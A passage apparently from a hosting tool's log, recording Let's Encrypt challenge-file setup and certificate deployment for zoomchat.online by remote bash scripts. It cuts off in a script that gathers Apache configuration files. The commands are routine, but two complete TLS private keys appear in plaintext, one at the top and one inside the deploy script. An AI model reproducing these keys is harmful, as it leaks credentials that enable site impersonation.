99Ro+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEW9zbm92eWJpYmxpaS5pbmZvghV3d3cub3Nu
b3Z5YmlibGlpLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AHUA2AlVO5RPev/IFhlvlE+Fq7D4/F6HVSYPFdEucrtFSxQA
AAGfRrjlkQAABAMARjBEAiBybFucbw1Jvr/XzpVAWz3RiRZRgqNo7wHRg3gWChCt
PgIgCqR6LwGJAZIw4okjqBTTQXKG8ckLDIwlkVD264nrCpwAfgAm42RuWGkhI7w0
P0ckNZs3ks0kWojYFdOTM/2ZGKtHIwAAAZ9GuOK2AAgAAAUAJzszWwQDAEcwRQIh
AJWBcjJkc+/XAZJBE5JmCYs/N20IZG9f0yh5Gpxbio2KAiBBHtUz2bdUgNCbGcdg
CtgGbCGQKL0qeLDKKw0h8KZqRTANBgkqhkiG9w0BAQsFAAOCAQEAlbN8giP6FjJN
AyfY39CL4eW8lN59CyWo0hu1GYR4iF+H2FrrJcpqrdcaxyONFKsKfH1DT4BT7QbI
H6uJzTqzhVQvXGzvzB3EbsIUrEN29ylnaZUeHsdu5cjKbjUqtHxXXxhX8qkjZYLR
BJUB6CLiy4iwIfaYp7t57fBSIJ2B2Mqo1LZ+1GxHEzzIJZSuzdcE3U09kAhNTWzB
PLKsoen1joLQt9xN3GMCjCvNg3OL2sfh0mWjqEVvicYyDQ4UjjSGNfcpzYPKW/8a
kIM8tFgHwxGJQvOO/WYkKaYc985s48QuZpZkJQZcH9k6IwoZEq9qZNK8bPATmTlq
ZvhcVlnefg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDFhvKy+VjQMWH5
k77ps7OIEB+xTIX9v0MQepoyiKrasfHfKj0fZyUPM6rTZANd1oKs28yJkxktwANg
8dBg6xfBe7I6he96ig4/TsDrkD3VHlc3TfpmN29iohx1fpaDUcFbr8HaPlcwzcIz
yOwlLJ8Ewua7q7fuI+vfzxVU0AS4xf3pvC1rp0lIg+jbXYqFgDiSawK/lXtUuWDK
ahJjO8DbnP79EeUNieGnKyynU6ZuXksfJvAoiuPjeHP8P//40Wvxp8xRgTXPyZxz
7SANaE6Z+6OlKH6OSZanSw9AprJQ/kRbS4aQwI2Uv1DG5zWFSZEZmkcbbDqZxLMj
tNhF+33ZAgMBAAECggEAQ40BfgR5A4YH4A7PaOPsP1loRT2Kyzr4B/AtwJ9tcqoN
MgkjaxRen6LHRlC7OAGuocfvXJMiNrumTCaWYTa04pXXX11Dh1AkTDE2F7k19CbS
o9a2jfNiU8Rl4Cag+ZrheeYS8PyF2+paAlSxsYrffQTcXIz+s2G0fk83F9Cl9Lwj
RB5TpthywQ5pMQqnLA/HXV/k19Gzs/Qlhui8nk0+7MLN526HPYgHTe0BQVAKmOj0
VvivjA0aUt6YG/Eraa80M337aRcCq6YRGNLAvVWDh0nbngUXnnqVKK7cGo53hA+G
o6/NgCEKnTwkdkHAk2xQA7rgW65KCQ9Rb2atEJpBywKBgQDq7DhE2wRLHGeDYSKV
woG2+b4rHsLShqemLMvx2vKZ4wCXwdI3rffTubA3XaH8NeFMpANwC5vEw5vP5lMt
SUaHLVDEpp6zbjX5TnaAyojhWgpRfhg04oGEM1HTRG75WPDzmZmhryjoxIevNNhk
RHwNa0jmmdp88dPEw3OrRpaanwKBgQDXP9B5XLo1FCmTJNnkvs2C9aeUc6uhJnqR
XSFyoQQwKQP+tzQE2AUuPGGdroOsqmJU8TK+P0AW2XHphVEfepOU3c8ywzzibEJs
M3xfWmByoE02rBQUD2Rn9816cs7NmN1Z8vWhmvISEEI2KEe5hYIydoEqnB5XBJOr
QbRkUV+MhwKBgGIWp5f4at6ByabNlAc747VmqcSPX4FPwAheg/lEFi+y3LiAsSmW
dfftfGphqhUI2j2J7fWGo0+Q7SntXaV3Bv/CKAs0FueMiPTDki9MYcLWOaC1KZ5L
RRDR7MRtunhabqEH7WHZJRerl4vMYN3cyn8/4HyImPW6c1Wg1lcZbiC5AoGAFRUg
AzMM3fQKmmnqmZgCowgSkNy/e7o8GQ7JHuQcd+cciA9DnhHWeA/b88jLBtdtaCpz
sOSbD2He4WN4bZ/g4pzTFYK/7OFzpAtq7B/7AF8pEOjL0qcrS2+fBZZHISYO0CeW
3WxCt3g2M/3AALDN7slin1zJL/a3y/dUhtrdg/MCgYBVuUOJNu9xyYh19je0AgjH
N94WodZY64nD15la8PNAGN5g5wpt2pis5OQ9Rm3HOg75Or3vMhOdrX4k2IiYiNuR
RqT4OR89IRp5NlEboWjCElIQ3XBPSSfI+rbGLRDczzBbgRG3FPO4GiC/YUrKI4h7
sPiLXFB/JyRzqP40K+FMkA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-10 06:00:02: Establishing a connection
2026-07-10 06:00:03: Establishing a connection
2026-07-10 06:00:04: 

PUT: /tmp/pkp294486

#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-10 06:00:05: 

chmod 755 /tmp/pkp294486; /tmp/pkp294486; rm /tmp/pkp294486

2026-07-10 06:00:06: 


1


2026-07-10 06:00:07: Establishing a connection
2026-07-10 06:00:08: 

PUT: /tmp/pkp328805

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > evogBiH53y-E-Yecv98oEojgsiJdnKbEX38JX6yNmD4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
evogBiH53y-E-Yecv98oEojgsiJdnKbEX38JX6yNmD4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 evogBiH53y-E-Yecv98oEojgsiJdnKbEX38JX6yNmD4
cat > ViUX6WLt0Jcb_JsqD--HzSz_9G1oU_rBbQ8ONd9hIO8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ViUX6WLt0Jcb_JsqD--HzSz_9G1oU_rBbQ8ONd9hIO8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 ViUX6WLt0Jcb_JsqD--HzSz_9G1oU_rBbQ8ONd9hIO8


2026-07-10 06:00:09: 

chmod 755 /tmp/pkp328805; /tmp/pkp328805; rm /tmp/pkp328805

2026-07-10 06:00:10: 




2026-07-10 06:00:28: Establishing a connection
2026-07-10 06:00:29: 

PUT: /tmp/pkp409273

#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm evogBiH53y-E-Yecv98oEojgsiJdnKbEX38JX6yNmD4
rm ViUX6WLt0Jcb_JsqD--HzSz_9G1oU_rBbQ8ONd9hIO8


2026-07-10 06:00:30: 

chmod 755 /tmp/pkp409273; /tmp/pkp409273; rm /tmp/pkp409273

2026-07-10 06:00:30: 




2026-07-10 06:00:30: Establishing a connection
2026-07-10 06:00:32: 

PUT: /tmp/pkp398780

#!/bin/bash
temp_file=$(mktemp)
TARGET=842c702c1ca7114dc2c211c70793b244.crt

cat > $temp_file <<'endmsg'
12:39:19:a7:b7:45:9f:81:f5:34:93:25:e0:45:85:d4

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBaa+mCq0/c8vNYlZtMUbsSmFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEwMDUwMTU3WhcNMjYxMDA4MDUwMTU2WjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCb6PpO4/j5t64Pal1j2t7Z292ij/aJa+3QnTuA7nDM/10zX9oqZbfVAEJ4BtoX
ppArLki+FLEDcr9BrOk6rktBqG5GAc8nXkCJ4Y6hzBa+KnuY9DSkyfZXZIuGZ2np
u2ZguzKoNlTmbuD6hJu99G+CqBzIV60GpxcaA/EVioa0UwBpO0Gr2WQkU8IcbfwP
0U+FvYn2LJH9SQvtZw/ZZpTSmLAXta8EohfEtPepw3ZOoy/9SC31G5cf+NiAiD+P
myUlTAXa/gWRH181w5SPEktD1Q39X1iN9c8y30hbYOwZQTnYGc4+GA2CPod76YjO
tSQrYmVSYB7IS50id24zBzk/AgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrkSs
BCkQHaEpYapXRL7sUKrK/3owHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EM
gQwwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmghN3d3cuem9vbWNoYXQub25saW5lgg96b29tY2hh
dC5vbmxpbmUwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYc
aHR0cDovL3lyMi5jLmxlbmNyLm9yZy82LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABn0qc9EgA
AAQDAEcwRQIgVJm8HeeLjhiuBS4NqXf5OpN3Cnt2XP/ZcIz9tmMDtKwCIQCo31vP
GtVFecuqrB9rUJajnH4lM66FfAyCp6u7fWwkzAB+AEavhj07PuWfpXfeqCRdNrDZ
7SKiI/Rhd0EilFLulVBfAAABn0qc9IwACAAABQAMa8dZBAMARzBFAiB2KT9CBHfP
6eFcMA8y2i6CNG/OOjkRIZvIYxoqzEvpMgIhAJbxIOhAlTZaIwr8oXVGl2Ilx/xB
RfHZ7rYj5LOZ+W+mMA0GCSqGSIb3DQEBCwUAA4IBAQAgsMTHxuADpYZCCF+ROmVU
PVBBVxOVzzHwlwObK/kFe9wi3CJhLlhg46cNEo6qHhW63Ar9njEbKgf1WtW8Vp97
K0Be6tN36CJia2pP/d9qaNcL7T8u/J9ExKbe8X7KuiLNGuZmHP8pFQqEyd5juwNx
88ULadaTY7AHlmdKWt3uSq2frf4SSj7sO8ffMGm+4z8YZc0L14O82aQ8Tn9viB99
QKe44QAQ7J8gW0mDHMURvjBT/CW+rHYY6EKTF29BXb3QN2FJCa6VRmIXPspV9ToI
+3vBpEcuQM0RGtLoPmIoGIfKr6Uq4VUZMt5oG0eFR/R1k3zrTcGIPeQEwHrxn3Jr
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCb6PpO4/j5t64P
al1j2t7Z292ij/aJa+3QnTuA7nDM/10zX9oqZbfVAEJ4BtoXppArLki+FLEDcr9B
rOk6rktBqG5GAc8nXkCJ4Y6hzBa+KnuY9DSkyfZXZIuGZ2npu2ZguzKoNlTmbuD6
hJu99G+CqBzIV60GpxcaA/EVioa0UwBpO0Gr2WQkU8IcbfwP0U+FvYn2LJH9SQvt
Zw/ZZpTSmLAXta8EohfEtPepw3ZOoy/9SC31G5cf+NiAiD+PmyUlTAXa/gWRH181
w5SPEktD1Q39X1iN9c8y30hbYOwZQTnYGc4+GA2CPod76YjOtSQrYmVSYB7IS50i
d24zBzk/AgMBAAECggEAKF6rjYjfG33xnoE6nFP8dynEmkavngapxeYolapn39TR
g69ylJ7Q+mC+VUjk6NHSq7Oo1zsRWKS6HB3TKEQgLWiY4Ryv0HBJwsn6Pi/TxbrH
VSQKi47V7+wTaqJVXNWO3UYriD3FPwN/0q5Ki2WDCDBSf5egMERMqYpSvvKnDYK2
fpShotLSOZcvssp6X394MLsIJM/1Y3thvZsNzmAJPHtF09E0oRBmlAvYc+p+B0Ln
O2gPdEQrhFz5h274Lq3b/bxjgGoCiGIXszPeF237VKLDEMUOqlzBUpIVNZDXTviP
+TFuoxrzUVc4NpuQAqfS6j4ksuUhE8OowdZPLAWddQKBgQDbxG/GEZkwt3xBoDyF
qcFfGVXzA01plge+xgUQhMy/JbS/Qo0JWtX+u7pHX9OHj2G1ftQFCro7qAO3CRTg
+2uJJLULND52Zj0fad5jJCQOAl6pUsC3meclMVs1BjhTgKJEYkDnpHIVTwkEW5Mf
/i1La73zCsc31uFASSRqBhB+mwKBgQC1nVz3xnIPG3J9bjqC9UKIzZHLWCgl2s8V
L3T0Qi0GqLJF+d6qrsw7Pj269zbvaDQkhbiCMFyjgNIUjfGZUELZT1cE1loEVWyS
Ck/n+47VCmXH1zRCVAzMViRCxJrV+8ZfHjjo8grytkCGKzH5qJAmgBHODdngoZW9
6V37zjZoLQKBgH6gC4sDXtHMFwM1EUouimWCEpzHvVXmBSZtsENZUSOd1SwSa3MF
bKGuhuFTHG1SNwk9P2p8SNvQrftLd0U+eDJ3/PysqITN2c/8zw8upruPr/092h6v
xZgPfS7rG485YcWnGyCdBsKyXE6vePEJIg3/0V11S14oKHdC7YFNZzmbAoGAbSjT
ez30ym3F5+w8EQCXaCCfE+i94Nregy5ODo5D/++fj327Pz3nFWi4s8rpYwZv6M/S
8bVdyQyhuKcEYxEhzPnqJMctvdMWecTm+Fl0JUqlmHMaPw/DzYGtM9B1/E3jksJY
lHL+75lpuPr3g8a0Nd/eU8pxfZnBpi9BRRtSClUCgYB9LHRiupv/6/4Xrt06F2vL
MccT+JsrBwcvxbKaHzQjCO57kHn4rbxhRc8oErumFfAvAXIHqN9fzPrhdPQXPoAe
q0OV9O+3NSo4fl6YUPM8NG5nXViwPKTMjBDpqNiK+bMfu4wQqqfU59Mc30HHb8+a
tO8uOF8W5V4Mq6QPr/EVsw==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-10 06:00:33: 

chmod 755 /tmp/pkp398780; /tmp/pkp398780; rm /tmp/pkp398780

2026-07-10 06:00:33: 


dir=/etc/pki/tls/certs/


2026-07-10 06:00:33: 

PUT: /tmp/pkp865503

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
